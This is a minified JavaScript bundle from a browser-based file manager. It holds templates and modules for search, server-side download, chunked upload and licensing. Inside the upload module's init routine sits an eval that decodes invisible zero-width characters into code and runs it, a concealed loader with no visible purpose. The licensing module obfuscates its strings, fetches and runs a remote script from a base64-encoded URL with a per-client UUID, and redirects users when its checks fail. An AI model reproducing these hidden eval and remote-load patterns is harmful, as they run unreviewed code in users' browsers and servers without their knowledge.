</li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span> \n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");
|
||
if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else 